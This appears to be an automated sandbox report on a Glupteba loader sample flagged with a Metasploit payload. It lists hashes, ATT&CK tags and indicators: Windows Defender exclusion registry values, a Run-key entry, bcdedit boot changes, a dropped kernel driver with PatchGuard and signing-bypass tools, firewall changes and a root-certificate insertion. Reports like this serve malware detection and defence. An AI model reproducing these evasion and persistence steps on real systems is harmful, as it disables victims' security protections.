glupteba | 2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae

Analysis

max time kernel
131s
max time network
135s
platform
windows7_x64
resource
win7-20220414-en
submitted
14-06-2022 20:03

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General

Target

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Size

3.8MB
MD5

0008ce45286bd379fd0ca42e9fb79b0d
SHA1

36a1027956ca5db32a88ae77cae4451407d5cf06
SHA256

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae
SHA512

24ae62addfe69e9f79011d206b52c12a21503227eb387313ad597a5b043e6a718c9be92e884c184fed75e5b3e7f9e7debe106856d235e945ab26ec9612098f6d

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 8 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1376-56-0x0000000003940000-0x0000000004142000-memory.dmp	family_glupteba
behavioral1/memory/1376-57-0x0000000000400000-0x000000000334F000-memory.dmp	family_glupteba
behavioral1/memory/1376-58-0x0000000000400000-0x000000000334F000-memory.dmp	family_glupteba
behavioral1/memory/684-68-0x0000000000400000-0x000000000334F000-memory.dmp	family_glupteba
behavioral1/memory/1816-71-0x0000000003A80000-0x0000000004282000-memory.dmp	family_glupteba
behavioral1/memory/684-72-0x0000000000400000-0x000000000334F000-memory.dmp	family_glupteba
behavioral1/memory/1816-73-0x0000000000400000-0x000000000334F000-memory.dmp	family_glupteba
behavioral1/memory/1816-76-0x0000000000400000-0x000000000334F000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\LittleField = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

Modifies boot configuration data using bcdedit 14 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
764	bcdedit.exe
1192	bcdedit.exe
1832	bcdedit.exe
1660	bcdedit.exe
1060	bcdedit.exe
1820	bcdedit.exe
976	bcdedit.exe
460	bcdedit.exe
1636	bcdedit.exe
1504	bcdedit.exe
884	bcdedit.exe
1944	bcdedit.exe
1040	bcdedit.exe
108	bcdedit.exe

Drops file in Drivers directory 1 IoCs

Processes:

csrss.exe

description ioc process

File created C:\Windows\system32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exedsefix.exe

pid process

1816 csrss.exe
996 patch.exe
696 dsefix.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

776 netsh.exe
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command-Line Interface
T1059

description	ioc	process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

pid	process
1816	csrss.exe
996	patch.exe
696	dsefix.exe

pid	process
776	netsh.exe

Loads dropped DLL 4 IoCs

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.execsrss.exe

pid	process
684	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
684	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
868
1816	csrss.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\LittleField = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows\CurrentVersion\Run\LittleField = "\"C:\\Windows\\rss\\csrss.exe\""	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exemakecab.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20220614223307.cab	makecab.exe
File opened for modification	C:\Windows\rss	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1652 schtasks.exe
1520 schtasks.exe

pid	process
1652	schtasks.exe
1520	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exenetsh.execsrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-832 = "SA Eastern Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	2d3d52fb83e527fc9028357e066f4b3325c7686f018a154890511316d8e2aeae.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

patch.execsrss.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b81400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3040000000100000010000000e4a68ac854ac5242460afd72481b2a442000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d1459